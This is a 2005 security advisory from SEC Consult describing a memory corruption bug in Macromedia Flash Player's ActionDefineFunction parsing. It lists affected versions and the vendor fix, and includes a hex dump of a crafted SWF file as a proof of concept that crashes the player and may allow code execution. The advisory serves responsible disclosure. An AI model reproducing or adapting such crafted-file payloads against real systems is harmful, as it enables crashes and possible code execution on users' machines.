SEC Consult SA-20051107-1 :: Macromedia Flash Player ActionDefineFunction Memory Corruption
SEC-CONSULT Security Advisory 20051107-1
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title: Macromedia Flash Player ActionDefineFunction
Memory Corruption
program: Macromedia Flash Plugin
vulnerable version: flash.ocx v7.0.19.0 and earlier
libflashplayer.so before 7.0.25.0
homepage: www.macromedia.com
found: 2005-06-27
by: Bernhard Mueller / SEC-CONSULT /
www.sec-consult.com
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Vendor description:
---------------
Macromedia Flash Player is the high performance, lightweight, highly
expressive client runtime that delivers powerful and consistent user
experiences across major operating systems, browsers, mobile phones and
devices.
Vulnerabilty:
---------------
ActionScript is an ECMAScript-based programming language used for
controlling Macromedia Flash movies and applications. In SWF files,
Actionscript commands are represented by DoAction Tags embedded in
frames. SEC Consult has found that parameters to ActionDefineFunction
(ACTIONRECORD 0x9b) are not properly sanitized. Loading a specially
crafted SWF leads to an improper memory access condition which can be
used to crash flash player or may be exploited as a vector for code
execution.
This issue is similar to CAN-2005-2628 (as reported by eEye Digital
Security on November 4, 2005) but affects a different function.
Coincidentally, Macromedia has received our notification of this bug on
the same day (June 27).
Proof of Concept:
---------------
A "malicious" flash movie dump:
<swf>
----- [SetBackgroundColor] -----
TagID: 9 (size: 3 (short tag)
- dump ->:
\x43\x02\xff\x00\x00
----- [DoAction] -----
TagID: 12 (size: 60 (short tag)
- dump ->:
\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00
\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43
\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45
\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00
----- [ShowFrame] -----
TagID: 1 (size: 0 (short tag)
- dump ->:
\x40\x00
----- [End] -----
TagID: 0 (size: 0 (short tag)
- dump ->:
\x00\x00
</swf>
Recommended Fix:
---------------
The issue has been addressed in MPSB05-07. Upgrade to the newest version
of Flash Player 7 or to Flash Player 8.
Link:
http://www.macromedia.com/devnet/security/security_zone/mpsb05-07.html.
Vendor status:
---------------
vendor notified: 2005-06
fixed: 2005-09
General remarks
---------------
We would like to apologize in advance for potential nonconformities
and/or known issues.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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www.sec-consult.com
EOF Bernhard Mueller / @2005
bmu at sec-consult dot com